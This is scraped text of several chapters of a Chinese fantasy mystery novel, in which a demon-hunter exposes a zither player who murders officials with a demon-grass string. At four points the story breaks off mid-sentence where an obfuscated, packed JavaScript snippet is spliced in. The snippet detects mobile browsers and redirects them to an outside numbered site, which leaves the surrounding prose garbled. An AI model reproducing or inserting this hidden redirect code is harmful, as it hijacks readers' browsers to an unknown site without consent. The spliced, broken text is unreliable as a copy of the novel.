而后卢沙吹响,明亮浑厚,沉郁凄婉,听的人心头发紧。那分明是丧乐的调子。 琴音再也没有响起,琵琶和笛声渐渐远去。一切归于寂静。 从头到尾,箫声都没有出现。 沈灵均还沉浸在曲中,忽听见季月大喝一声,“曹掌柜,你在做什么?” “啊啊啊——!” 他一把抓起斩妖剑,三步并作两步冲上楼去,踢开房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王妙仪抿住嘴唇,连连摇头。那些话,再喝几坛子酒,她都说不出口。 季月气极反笑,“告诉你也无妨。我要替你表妹介绍俊俏郎君呢。” 沈灵均凛然道,“我表妹的终身大事,不劳你费心。” 王妙仪再也待不下去了,扯扯他的袖子,“我们回去吧。” 沈灵均和季月相互瞪着,谁也不肯示弱,僵持许久,一个眼珠酸痛,另一个眼中流下两行清露。 她用袖子擦了擦。看那情形,极像是争风吃醋失败,被心上人气哭了。 沈灵均拉着王妙仪扬长而去。 远离喧闹的朱雀大街,马车粼粼,行驶在安静的石板路上。车厢里漆黑一片,凭呼吸的节奏,就知道有人气得够呛。 王妙仪心里七上八下,“表哥,我知道错了,以后再也不来这种地方了。” 沉默良久。 “别人能来,你也能来。” “啊?那……我再也不见那个季姑娘了。” 这次回答得飞快, “正是!见她一次,倒霉三年。” 王妙仪听他如此说,顿时高兴起来,“那我们两个都别再见她了。拉勾!” 她伸过小指。这是他们从孩提起养成的习惯,凡有承诺之事,拉勾为凭,一旦拉勾,绝无反悔。 等了半天,沈灵均却迟迟不把手指伸过来。 “表哥,你……” 车夫猛地勒紧缰绳。马匹受惊,长嘶一声,车厢向前一冲,险些把里面的人甩出去。 外面传来一个焦急的声音,“沈大人可在车上?” 沈灵均掀起帘子,见来人是个相熟的衙役,提着灯笼,脸色惊惶。 “找我何事?” “您快来看看吧!妖孽杀进县衙了!” 24. 弦断有谁听(八) 沈灵均带着曹掌柜踏进县衙大门时,公堂上火把大亮。闻大人阴沉着脸坐在主位。徐知县正弯着腰吐酸水,地上积了一滩污物。 堂下木板上有一具四分五裂的尸体。前胸和腿上的伤痕与段三如出一辙,脸部正中多了个可怖的血洞,血向四周流去,把眼珠都染红了。 被切掉的鼻子掉在脑袋边上,鼻翼似乎还在微微翕动。 沈灵均眉头紧锁,“死者是何人?” 衙役道,“此人名叫田刚,是闻妖使者。昨日段三一死,他和孙大牛两人就收拾包袱,逃出别院。” 衙役向旁边一指,沈灵均这才注意到边上还加了条长凳,上面趴着的人腰部以下被打得皮开肉绽,垂着头不知死活。 “小人奉同知大人之命,捉拿田刚和孙大牛,半个时辰前,才从码头把他们押回来。听候闻大人发落。” 闻大人哼了一声,“身为闻妖使者,竟然贪生怕死,擅离职守。以为县衙是什么地方,想来就来,想走就走吗?” 沈灵均暗忖,那晚查看段三尸体时,衙役说有人逃走,看来就是这两位了。早知如此,当时就该把他们拦下来。 闻妖使者都是闻大人亲自选拔。擅离职守固然有罪,伤了闻同知的面子,才是致命的。 “孙大牛被打了三十大板,昏了过去,闻大人便传田刚上来。两名衙役一进牢房,就看到……看到田刚被切成了三块。” “牢房可有人看守?” 衙役用力点头,“有的!提孙大牛出来时,田刚还好好关在监室里。沈大人,这必定是妖孽作祟啊!” 徐大人连酸水都吐完了,还在干呕。 闻大人勉强压下恶心,“连杀三个使者,还杀到县衙大牢,实在太不把朝廷放在眼里了。沈大人,三日之期已到,你可找出凶手了?” “下官无能。” “哼,神巫署派你驻守南安县,保一方安宁,如今血流成河,你为何迟迟不出手捉妖?” “回禀大人,死者伤口虽然古怪,但三次案发的场所,都未察觉到妖气,尚不能确定是妖所为。” “不是妖?区区凡人怎能在这么短的时间下此毒手?依我看,这是你破不了案,寻的托辞吧?” 沈灵均对着尸体,苦苦思索案情,没有好好向闻大人看上一眼。若他注意到了闻大人脸上的表情,或许就能猜到接下来会发生什么。 徐知县干呕完了,直起腰来,颤声道,“闻大人,凶手会不会还藏身于县衙之中?” 沈灵均眼睛一亮。真是一语惊醒梦中人! “徐大人高见!三名死者平日里与闻妖使者同进同出,朝夕相处,极有可能生出嫌隙。今晚在场的人,包括住在县衙的闻妖使者,看管监牢的衙役,还有关在牢里的犯人,都要一一搜身盘查,县衙大门即刻关闭,谁也不准离开,直到抓出凶手。” 闻大人虎着脸,“你们的意思是说,本官的人有问题?” 沈灵均一愣。都到什么时候了,这位闻大人还只顾及自己的面子。 徐知县深知闻老哥哥耍起威风来,无人可当其锐,忙道,“下官不敢。” 闻大人一拳砸在桌上,“使者跟着本官远来南安县,只因一心保护民众,就惨遭妖物报复,残忍杀害,本官安抚还来不及。谁要是无端怀疑,中伤使者,就是与本官作对。” 沈灵均怒极,脱口而出,“是你的官威重要,还是人命重要?” “你说什么?!”闻大人站了起来,“妖孽作祟,你身为捉妖师,不能缉凶,竟口出这等悖乱之言,该当何罪!” 沈灵均道,“来人,关上大门,一个都不许放走。” 一旁的徐大人惊呆了。沈灵均向来温文有礼,极有涵养,怎么会如此与上官针锋相对。 闻怀璧气得山羊胡子根根炸起,“你敢越过本官发号施令?!藐视朝廷,罪加一等!” 沈灵均冷然拱了拱手,“查问过后,任凭闻大人处置。” 县衙公堂的火把烧了整整一晚,在场的十九名闻妖使者,四十多名衙役,牢里关着的十五名人犯,全部接受详细审问、搜身查验、汇报动向。 晨光微熹之时,所有人筛查完毕,连一点可疑的血迹、利器都没有发现,更别说足以定罪的证据。 众人一整晚没有合眼,皆累得面如死灰。 闻怀璧一把抓起盛满浓茶的茶杯,扔下堂去,瓷片和茶叶溅了满地。 “沈灵均,如今你怎么说?” 沈灵均脑中一片空白。 若凶手是妖,怎会没有妖气?若凶手是人,怎会不留痕迹?他在南安县出生长大,又在县衙任职多年,从没遇到过如此扑朔迷离的案子。 闻大人看他低头不语,以为他还是不把自己放在眼里,怒气更盛,森然道,“沈灵均自即日起,革去公职,闭门思过。何时想明白了,何时再来见我。” 沈灵均茫然抬头,对上那张威风凛凛的四方脸。 良久,拱手道,“谨遵大人吩咐。” 沈灵均从县衙大门走出来的时候,东方刚刚现出鱼肚白。 街上冷风飒飒,树木和房屋的轮廓朦胧可见。空气里飘来一股肉饼的焦香,卖早点的张阿伯已经出摊了。 “哟,沈大人!这么早出门啊?来个烧饼?” “不了……”他喉咙发干,“往后不用喊我大人。” “那是为何?” “……” 他摆了摆手,转身离去,留下惊疑不定的张阿伯。 清晨的石板路沾满露水,映出一人一剑孑然独行的倒影。 四周寂静无声,百姓都在睡梦之中,还不知道昨夜又出了凶案。 奔波了一日一夜,沈灵均的脑袋嗡嗡作响,思绪纷乱,搅作一团。 利器、残肢、鼻子、使者…… 同知、知县、革职、人、妖…… 表妹、酒楼、赏花、季月…… 掌柜、舞姬、乐班、季月…… 季月…… 季月一把揪住自己的耳朵,鹅黄色襦裙的袖中伸出一根根锋利的细线。 细线在他前胸后背割开一道道口子。 血…… 他晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084231|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋,前方街道尽头,就是熟悉的沈府大门。 大门自行打开,里面流出一股股黏稠的鲜血,迅速漫过门槛,在街道上堆积成猩红的湖泊…… 他大惊失色,向前奔去。 一个时辰后,沈伯出门买菜,发现自家少爷倒在门口,人事不省,眼下两片乌青,右手还紧紧握着斩妖剑的剑柄。 第三桩惨案的消息迅速传遍南安县。 民众分为两派,一半人恐慌到了极点,说这回的妖孽杀疯了,按照一天一人的速度,杀光全县指日可待。 另一半人心存侥幸,认为死的都是闻妖使者,与平民百姓无关,不必惊慌。 过了晌午,县衙贴出一张告示:妖孽肆虐,残害无辜,捉妖师缉凶不力,已被革职惩戒。为避免再有凶案发生,即日起,征召年富力强者,充当保镖,贴身保护闻妖使者。 这下所有人都坐不住了。 连唯一能保护百姓的沈大人都指望不上了。许多人立即回家收拾金银细软,准备逃往邻县,码头、过所都排起长队。 县衙赶紧又贴出一张告示,严禁民众无故聚集、阻塞交通要道,违令者视作妖邪同党,一并治罪。 闻妖使者们照常三五成群,上街拦路闻妖,但不复最初的嚣张气焰。有的如惊弓之鸟,东张西望,惟恐人堆里猝然伸出一把索命长刀。有的如行尸走肉,眼神空洞,敷衍了事。也有反其道而行之的,举着鞭子见人就抽,似乎这样做能稍稍缓解内心的恐慌。 所有使者心里都转着同一个念头:下一个死的,会不会是我。 唯一幸灾乐祸的,就是季月。 她宿醉醒来,听说沈灵均丢了官,想到他前一晚在庆真楼的嚣张气焰,以及连日来在她面前的所作所为,只觉得畅快非常。 让他动不动就怀疑她,威胁她,打着官府的旗号来抓她。 让他偷听别人说话不承认,还阴阳怪气地讥讽她。 报应!这就是隔壁邻居许大娘常说的,报应! 季月心情大好,大摇大摆地走进庆真楼,点了蒸螃蟹、南瓜糕、桂花糖藕、卤鸡爪,并一壶眉寿酒。 酒楼里一反常态,冷冷清清。舞姬乐班皆不见踪影。仅有的几桌客人,也都是神情不安、窃窃私语。 曹掌柜一见到她,脸拉得老长,磨蹭了半天,才把酒端上来。 他今日不再遮遮掩掩,袍袖之下,露出十根小得出奇的手指,宛若新生孩童。手指上的皮肤倒是光洁白嫩,一点瑕疵也无。 季月努努嘴,“哟,长得挺快嘛。” 曹掌柜额头上暴起青筋,“你给我等着,早晚有一天……” 季月眯起眼睛,“你能怎样?去官府告我?听说官府如今一片混乱呢。”她压低声音,“我倒奇了,你与那些闻妖使者,究竟有什么深仇大恨?杀了两个还不过瘾。难道真要把他们杀光为止吗?” 曹掌柜迟疑片刻,“与你无关。” 季月扬起眉毛。 妖杀妖,从来不需要理由,弱肉强食,是妖界的唯一法则。 可这里是人间。 25. 弦断有谁听(九) 二十天匆匆而过,秋风卷落树梢的黄叶,成衣铺里摆上了棉衣,北雁南飞,寒风呼啸,积善寺后面的池塘也结了冰。 没有案件发生。 大家紧绷的神经渐渐松弛下来。酒楼茶馆重新坐满了人,谈论的话题也从凶杀案回归官场秘闻、婚丧嫁娶、坊间八卦。 有人说,沈大人自从丢了官职,便染上了心病,竟一蹶不振,如今连床都起不来了。 有人说,那是胡说八道,他明明看到沈大人出入庆真楼。还有心思喝酒,说明官复原职是迟早的事。 有人说,沈大人心灰意冷,已决定追随他师父天一道人,远赴海外仙山云游,再也不管南安县的污糟事了。 有人说,绝不可能,他那相好的还在本县,真要走,也会带着她一起走。 最骇人听闻的说法莫过于,沈大人用尽毕生功力,与杀害三名使者的妖邪大战三百回合,终于身死道消,如今住在沈府的,不过是个傀儡罢了。 玲珑绸缎庄二楼临窗的雅座内,季月正和老板祝三娘喝茶谈天。 祝三娘看着窗外感慨,“今年冷的这样早,不知何时下第一场雪。” 季月默默点头,近来总是犯困,看来今年,要在人间冬眠了。 人来人往的街道上,飘来一个熟悉的声音。 “使者大人稍坐,小人这就去买酒。” 听着像是隔壁邻居许大娘的独子,许小宝。 季月探出头张望。 只见街对面的吴记茶坊前,坐着四个官差打扮的男人,其中一个站起身,扶着帽子,快步向街角的小酒肆跑去。 季月疑惑,许小宝不是在县衙当差吗,怎么和闻妖使者混在一起? 祝三娘顺着她的视线看过去,冷笑一声,“如今一个使者,竟要配三个保镖了?” “啊?” “妹子你不知道?闻大人下的命令,为了保护闻妖使者的安全,特安排保镖与之结伴而行,贴身保护。原本一个使者配一个保镖,现在越来越多了。” 季月想了想,“三名使者被杀都是在深夜,如何贴身保护?难道保镖要和使者睡在一起?” 祝三娘一口茶喷了出来。 “噗,人家睡房里的事,你我就不得而知了。” 季月好奇心大起,“那个保镖是我邻居,我去问个清楚。” 季月三步并作两步下了楼,寻到小酒肆。天气寒冷,在外奔波的人都想喝口酒暖暖身,是以队伍排得老长。许小宝站在队尾,双手合拢,往掌心里哈气。 “许小宝!” “月姐姐,你也来沽酒啊?” “你是不是当了闻妖使者的保镖?” 许小宝凑过来,“正是,这位子还是我娘花五十两银子买来的。” 季月吓了一跳,“许大娘替人洗衣才赚多少银子?买它作甚?!” “你不懂。当上保镖等于半只脚踏进使者队伍,离闻大人近了一步。往后升迁,也容易些。” “你在本县县衙当值,何必讨好外来的闻大人?” “人往高处走嘛。我娘说,等我当上了捕头,就给我娶媳妇。” “你要娶谁?” 许小宝的脸腾地红了,“别的不敢想,要是能有月姐姐一半的美貌,就心满意足了。” 他一害羞,身上发热,一股若有若无的青草芳香飘了出来。 季月顿时警觉,“你去过庆真楼?” “没有啊。那么贵的地方,我怎么去得起,只能在门外看看。” 季月皱起鼻子,又闻了闻。 是那股味道没错。和上次在天水阁闻到的一模一样。 这傻小子,被曹掌柜盯上了。 “你今晚在哪儿睡觉?” “在……在家啊。月姐姐问这个做什么?” 季月目不转睛地盯着他,许小宝不知想到了什么,脸红得更厉害了。 许家家贫,只有两间平房,外间吃饭,里间睡觉。许小宝睡大床,许大娘睡小床。小床离窗户近,夜里若有刮风下雨,都是许大娘爬起来照看。 许小宝虽年近二十,还和小时候一样听娘的话,秋风一起,就乖乖地盖上了厚被子,把手脚裹得严严实实。 屋内漆黑一片,母子俩呼吸匀净,做着甜梦。 天上的北斗七星从东边挪到西边。屋子里始终静悄悄。 这一夜眼看就要过去了。 突然,空气中飘出一股浓烈的青草芳香。 许小宝搁在床边的外衣里,有一根草飞了出来。 它像长了眼睛似的,飞到被子上空,前后左右漂移一番,校正了位置,迅速拉长,变为极细极利的一根线,一头搭在小宝左胸,一头搭在小宝右肩。 嗡嗡振动片刻,猛地割了下去。 嗤。被子破裂,填充的棉絮爆了出来。 说时迟那时快,一朵鲜红的花瓣疾飞而下,正好切在细线中间。 嘣地一声,细线从中崩裂,化为无数草籽,一半掉在床上,一半掉在地下。屋内如同下了一场草籽雨。 年初刚刚翻修过的屋顶上,少了一片瓦,一对红色的眼珠透过空隙,向里张望。 空气中还残留着细线振动的回响。 许大娘迷迷糊糊地喊了声,“小宝?” 许小宝的半边身子埋在棉絮堆里,毫无动静。 微风吹过,一朵棉絮不偏不倚,堵住了许小宝的鼻子。 “啊啾!” “嗯?” “怎么这么多棉花?” “娘!” “怎么了小宝?” “这被子……被子怎么破了?!娘!有鬼!” “啊?哪里有鬼?!” 屋内大呼小叫,此起彼伏。 季月默默地把瓦片放了回去。 对一只妖来说,救人可比打架累多了。 她本来没打算救。可躺在床上,双眼一闭,就想起许大娘。她隔三岔五过来串门,带给她许多好吃的;她领她去集市,教她怎么和小贩砍价;她一提起儿子就两眼放光,小宝长,小宝短地说个不停。 若是许小宝死了,许大娘起码哭上三天三夜,连累住在她隔壁的,也不得清净。 曹掌柜这老妖怕不是失心疯了?许小宝还是个半大孩子,哪里得罪了他?难道就因为他当了闻妖使者的保镖?花五十两银子买个职位,还要搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉,罢了罢了,以后你方圆十里之内,我一律绕着走,这样总行了吧……” 整整一晚,曹掌柜好话说尽,又赔了一桌美酒佳肴。待到天色微明,才把季月这尊大佛送走。 他铁青着脸,走进阳春班休息的厢房。 房内没点灯。黄花梨木的琴几后面端坐着一个人,凌乱的长发垂至腰际,双手搭在琴弦之上。 曹掌柜把牙咬得格格响,“我警告你,别再惹出乱子来!” 粗哑难听的声音响起,“掌柜怕了?” 曹掌柜抡起手臂,一掌掴在那人脸上,“适可而止四个字,还要我教你吗?” 那人被打得扑倒在地,带翻了琴几,七弦琴滚落在地,咕噜噜翻了几个面。他急忙扑过去,把琴珍而重之地抱在怀里。 曹掌柜喃喃道,“我早就该叫你滚了。” 那人含着满口鲜血,露齿而笑,“掌柜莫急,还有最后一支曲。” 26. 弦断有谁听(十) 几天后,季月在庆真楼见到了已经不是沈大人的沈灵均。他似乎不惧严寒,仍是穿着一身白色单衣,独个儿坐在角落自斟自饮。 季月自说自话地走过去,坐到他对面。他连眉毛都不抬一下。 季月左看右看,那张出尘脱俗、一派淡然的脸上,丝毫没有意志消沉的痕迹。 “沈大人……沈公子,听说你夜宿庆真楼?” 他瞥了她一眼。 “不知王姑娘对此作何感想?” “与你何干?” “王姑娘上回和我说,做人最重要的就是名节了。沈公子在人家舞姬休息的厢房睡了一夜,恐怕会有损名节啊。你我好歹相识一场,我很为你担心呢。” 他看着她幸灾乐祸的模样,比了个手势,示意她靠近。 季月伸长脖子凑过来。 沈灵均悄声道,“我到此处,并非借酒浇愁。是为了查案。” 季月一双妙目瞪得老大,“查案?你不是被革职了吗?” “革职了就不能查吗?整个南安县,会捉妖的只有我一人,我若撒手不管,妖邪岂不是为所欲为。所谓官职,不过是个名号罢了。” 季月连连咋舌,这人还真是执着。 “即便你找到了凶手,也不一定打得过他啊。” 沈灵均目光深沉,“你是不是知道些什么?” 季月坐了回去,“我能知道什么?” 沈灵均慢悠悠地倒了一杯酒,放在她面前,“捉妖不光是以武力取胜,还要靠头脑。” 季月怜悯地看着沈灵均。他再有头脑,也看不破曹掌柜的真实身份。何况,曹掌柜昨晚已经答应她,收手不干了。那三个闻妖使者的死,会永远成为悬案。 门口传来一阵喧哗。曹掌柜迎着闻同知和徐知县,在一大群舞姬的簇拥下,穿过大厅,往楼上天水阁去了。 自从县衙派出保镖保护使者之后,不再有凶案发生,足以证明闻大人的英明决策奏了效,功劳自然要算在他头上。是以闻怀璧最近情绪高涨,日日和徐知县沉醉温柔乡中,纵情享乐,把案子全抛在了脑后。 季月收回目光,“没有结果的事,何必坚持?” 沈灵均淡然道,“不坚持,怎知没有结果?” 季月扬起眉毛。人类还真是难懂。 沈灵均一进家门,就被表妹拦下,强灌了一大碗又黑又苦的汤药。 他被革职那日,在沈府门口晕倒,是体力透支所致,并无大碍。可家里人不这么想。沈伯花重金请来了薛神医,为少爷诊治。 薛神医按过脉,用银针在他身上扎了几下,留下一张药方就走了。 王妙仪关心表哥,亲自拿了药方,去厨房监督下人熬药,熬好了再亲自端到沈灵均面前,逼着他喝。每日如此,从不懈怠。 沈灵均有法力在身,受再重的伤也能慢慢复原,何况这次只是一时劳累过度,休养片刻便可,本不需要服药。可是拗不过表妹,被逼着大补特补,补得他气血充盈,精神健旺,双眼湛然有神,连原本瘦削的脸颊都鼓了起来。 频频出门查案,一来是挂怀案情,职责所在,二来也是在家实在坐不住。 他思来想去,拨开迷雾的关键,还是在季月身上。 季月的妖气太重,他稍加留意就能感知到她的位置。这些时日,她几乎天天往庆真楼跑,和那里的掌柜过从甚密。 一个普普通通的掌柜,怎么会和妖打交道?其中必有蹊跷。 于是,他日日去庆真楼,躲在角落,暗中观察。 与季月同席之人有男有女,有老有少,正如百花齐放。韩思年出现多次,每次都与她举杯同饮,高谈阔论。 沈灵均暗暗摇头,一个世家公子,混迹酒楼,张口闭口尽是些市井八卦,坊间传闻,也不怕有辱斯文。 坊间传闻里偶尔也会出现他自己的名字。南安县如今似乎流行把闲话编成话本子,什么万人迷一朝被贬沉入泥潭,解语花不离不弃共度难关,听来令人哭笑不得。 他们哪里晓得,南安县的万人迷,被人家当成花来赏,还不是花中之王,只是万花丛中普普通通,平平无奇的一朵。 心里那种微妙的气愤和不甘,他作为一个修道之人,是不会承认的。 他只恨自己的功力不能立刻突飞猛进,一举将季月打败,让她跪地求饶。 别人都以为他四处奔走,是想官复原职,其实他只是为案情忧心。 捉妖师受神巫署委派,镇守一方。指派何人,人数多少,视各地情形而定。像南安县这样太平日久的,一个捉妖师足矣。 有了神巫署的指派,县衙的任命不过是顺水推舟。而县衙的革职,也推翻不了神巫署的指派。归根结底,这场闹剧,只不过是闻大人需要一个替罪羊,来承担破不了案的罪责罢了。 不管县衙内部如何勾心斗角,凶手在外,照杀不误。 这些日子,表面上风平浪静,但他隐隐觉得,凶手不会就此罢休。 沈灵均喝完了药,一边沉思,一边在后院踱步。 一片金灿灿的叶子掉在头上,打断了思绪。 院中这棵银杏树树龄已近百年。 前阵子,树上掉下许多腐烂的果子,满院都是难闻的酸臭味,沈伯一边捡拾一边抱怨。现在果子掉完了,银杏迎来了一年之中最美的日子。满树黄叶灿烂如云霞,映衬着无边无际的湛蓝天空。 沈灵均心有所感,在树下练起剑来。 三尺剑锋带起疾风,刺、劈、点、撩、挑、崩、截、斩,将二十九式屠龙剑法一一使来。 这是师父天一道人独创的剑法,二十九式之中,层层递进。 前十式,纯以身体带动剑招,身随意动,剑随身动,以巧取胜,靠精妙的招式克制敌人。 中间十式,须用上内力,在前十招上叠加变化,于意想不到之处用剑气伤人。 最后九式,运法术御剑,人剑合一,修为越高,发挥出的威力越大。 沈灵均刚入门时,只能修习前十招。过得几年,内力渐强,又往后学了十招。直到修炼有成,有了法术修为的底子,才开始练最后九招。 天一道人本想再创一招毁天灭地的绝招,补全三十之数,奈何这些年来东奔西走,一直未得机缘。 自从季月出现在南安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084233|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县后,沈灵均在巨大的压力下发奋练功,已将屠龙剑法练到纯熟,二十九式一一使来,渐至物我两忘之境。斩妖剑向上一挑,剑气吐出,一股旋风将银杏树团团裹住,树枝拼命摇晃,黄叶萧萧而下,树下如同铺了一层黄金毯。 细看之下,每片树叶都被切成对称的两半,一半掉在地上,另一半高挂枝头。 发劲容易收劲难,他练这一招,历经三个寒暑,练到枝头和地下都没有整片的树叶,才算是练到了家。 沈灵均收起剑,满意地扫视地上的落叶。 练功犹如登山,没有捷径,只能一级一级台阶,循序渐进。 循序渐进…… 好像有一扇紧闭的门豁然打开,苦寻多日的答案就在眼前。 他的脸色突然变得煞白。 杀人者和他一样,也是在“练功”,每次叠加一个招式,最后一招融会贯通,所指向的,必定是那个人! 他真是愚钝不堪,怎么到现在才明白! 沈灵均提起剑,越过院墙,飞奔而去。 正值黄昏,西方天际唯余一抹如血残阳。沈灵均在路人惊愕的目光中跃上屋顶,几个起落,白色身影便隐没在金红色的夕辉之中。 暖意融融的天水阁,莺歌燕舞,春色撩人。闻大人和徐知县勾肩搭背,喝得酒酣耳热。曹掌柜在一旁作陪。整个彩衣班和阳春班为之助兴。乐声叮咚,仿佛香醇的佳酿,从丝竹管弦之中流淌而出。 人间极乐,不过如此。 熏人欲醉的空气中,骤然飘出一股芬芳的青草香。 闻怀璧的衣料鼓胀起来,好像有什么东西在其中移动。 可他醉得太厉害了,等到察觉的时候,已经来不及。 他的左肋到右肩之间,出现了一条极细极锋锐的线,停留一瞬,倏地割下。闻怀璧还没感觉到痛,上下两半身体已分了家,鲜血从断裂的肌理中间喷涌而出,溅了身边的徐知县一头一脸。 “啊!” 在场的所有人同声尖叫起来。徐知县叫得最响。 “休得行凶——” 一道凛冽的声音由远及近,片刻就到了窗边。 沈灵均一身白衣,破窗而入。 屋内已是一片血光。 闻怀璧上半边身子歪在桌上,四四方方的脸半边浸在血水里,瞪得溜圆的眼睛直视沈灵均。失去光亮的瞳孔深处,似乎还留有一丝往日的余威。 他的下半边身子失去支撑,倒在了徐知县身上。徐知县似乎无力推开上官的躯体,只是疯了一样大声尖叫,把嗓子都喊哑了。 弄月浑身上下都在发抖。吟香双眼翻白,晕了过去。 曹掌柜跳了起来,脸色惨白,眼珠骨碌碌地乱转。 好几个人贴在墙边,唯恐闻大人的血溅到身上。 阳春班中的几人,却如痴傻一般,呆呆地坐在原位。 沈灵均与那双死去的眼睛对视片刻,唰地一声,斩妖剑出鞘,挟风雷之势,重重地落在一人肩头。 他的眼神和手中剑一样锋利,“栖音,你以残忍至极的手段连杀四人,搅得全县人心惶惶,事到如今,你可认罪?” 27. 弦断有谁听(十一) 栖音手抚着琴弦,缓缓抬头,喑哑难听的嗓音响起,“沈大人,何出此言?” 徐知县的尖叫声停了下来。屋内的人面面相觑。外面楼梯上,响起纷乱的脚步声。 天水阁中的动静太大,把庆真楼上上下下都惊动了。人们挤在门口,见到满屋鲜血,和闻怀璧身首分离的惨状,都吓傻了。季月手里捏着半只卤鸡爪,从人堆里探出头,吃惊地向屋里张望。 曹掌柜清了清嗓子,“沈大人,若是我没记错,现如今,您已经不是衙门的人了。以何身份,来此问罪啊?” 沈灵均冷冷地看过去,“难道栖音杀人之事,你也知情?” “冤枉啊!方才这么多双眼睛看着,闻大人好端端地自己倒了下去,我们其他人根本碰都没碰到他!” 徐知县嘶声说,“此事……是妖孽作祟。” “是,也不是。知县大人,你看闻大人身上的创口位置、形状,可是和前三名死者一模一样?” 徐大人哪敢细看,胡乱点点头。 “陈二身上也被划了这么一道,从左肋连到右肩。段三身上,被划了两道,除了这一道,还切下一条腿。第三个死的田刚,除了这两道伤口,鼻子也被割了下来。” “你到底想说什么?” “凶手每杀一个人,便多划一道,把身体多切割一块。越到后面,尸体越是四分五裂。这就好比练剑,每次增加一个动作,到最后连成完整的一招。凶手对最后的目标,怀有深深的恨意。若不是我中途赶到,他会把闻大人分成五块,让他受尽痛苦而死。” 四周传来一片倒抽冷气的声音。 曹掌柜道,“你说的这些,和栖音有什么关系?” “我记得田刚死在县衙牢房的时候,栖音正在这间屋子里,弹一曲《春声碎》。” 栖音凝视琴弦,微微点头。 “陈二和陆三身亡时,你弹的又是什么曲子?” 曹掌柜道,“我庆真楼生意好,每晚都有客人点阳春班奏乐,那有什么稀奇?” 沈灵均恍若未闻,盯着栖音,“我猜,是《相见欢》和《生别离》吧?” 栖音浑身僵直,一动不动。 沈灵均眼中闪过一丝悲悯之色,“这几首曲子我听你弹过多次,加上《六月雪》和《长相忆》,才是一套完整的乐曲。几天前在楼下对饮之时,你对我说,这些都是故人传授之曲,直至今日,我才猜到那故人是谁。” 有闪亮的光珠滚过琴弦。 沈灵均厉声道,“你为一人复仇,却滥杀无辜,视人命如草芥,还不束手就擒!” 剑锋离开栖音肩头,带着玄光,狠狠劈下,七弦琴的琴弦发出裂帛般的响声,齐齐断裂,弹到半空,化为无数碧绿的草籽,天水阁中,如同下了一场草籽雨。 众人都被这异象惊呆了。连季月都半张着嘴,看草籽纷纷扬扬飘落。 谁能想到,老妖会把自己的本体做成琴弦?她凝目看那栖音,明明是个人,竟能驾驭这妖弦,也是奇事一桩。 她一直以为曹掌柜才是杀人凶手,竟是完全想错了。 可沈灵均是怎么猜到的? 栖音的十个指腹被断裂的琴弦划伤,慢慢渗出血来。从喉咙深处,发出粗哑难听的笑声。 他长发凌乱,笑得如颠似狂,不知经历过怎样的心碎苦痛,才发得出这样的笑声。旁人越听越觉得难受,只盼他赶快停下。 笑够了,他咧着嘴,两眼放空,好像在看很遥远的地方,“芸娘师父教我的,琴不离手,曲不离口。不勤加练习,怎能如此利落地把那畜生割开呢?五道划痕,配上五支曲子,这才叫长长久久,功德圆满。” 沈灵均目光一凛,“总共五支曲子,你中间还杀过一个人,是谁?!” “没杀成,便算了,那本就是个无关紧要之人,用来练手的。” 徐知县起了一身鸡皮疙瘩。“你是个疯子!” 栖音眼中仿佛能滴出血来,“我是疯了,但没有闻怀璧疯得厉害。他强夺别人妻子,玩腻了,就诬陷她为妖,害得芸娘受尽折磨,死在狱中。五道划痕,便宜他了。若不将他千刀万剐,怎能消我心头之恨!” 徐知县瞠目结舌,肥厚的嘴唇颤抖起来。 原来是为了芸娘…… 一听到这个名字,乐班众人脸上皆有凄楚之色。 沈灵均道,“前些日子我在此喝醉了酒,半梦半醒间听到隔壁厢房的两名乐师谈起芸娘……她是教你琴艺的师父,并非你的妻子。” 栖音目露异光,“在我心中,早就把她当成妻子了。 “我身有残疾,从小在街上流浪,和野狗抢食。是芸娘收留了我,教我音律。她琴技高超,带领阳春班献艺,得的赏赐总会分我不少。三年之中,我们朝夕相处,早就认定了彼此,要一生一世在一起的。 “偏偏那一年,闻怀璧来到南安县,一眼就看中了芸娘,把她强行带走。芸娘起初不肯,可他有钱有势,又软磨硬泡,终于打动了她。她走的那一天,把这把琴留给了我,叮嘱我好好练琴,不可荒废。 “不料这一去竟是永别。半年后,从随元府传来消息,闻同知的小妾被人发现是妖,已经捉拿下狱。我心急如焚,千方百计托人打听,结果却得到芸娘已死的消息。 “我不信好好的一个人会成了妖,便孤身上路,辗转找到随元府,她下葬之处。 栖音顿了顿,声音变轻了,“我挖开她的坟墓,看到她的尸身。她身上伤痕累累,被打得没有一块好皮,十根手指的指甲被连根拔起。那是怎样的钻心之痛啊。” 人群哗然。栖音身后执萧的乐师抽泣了一声。 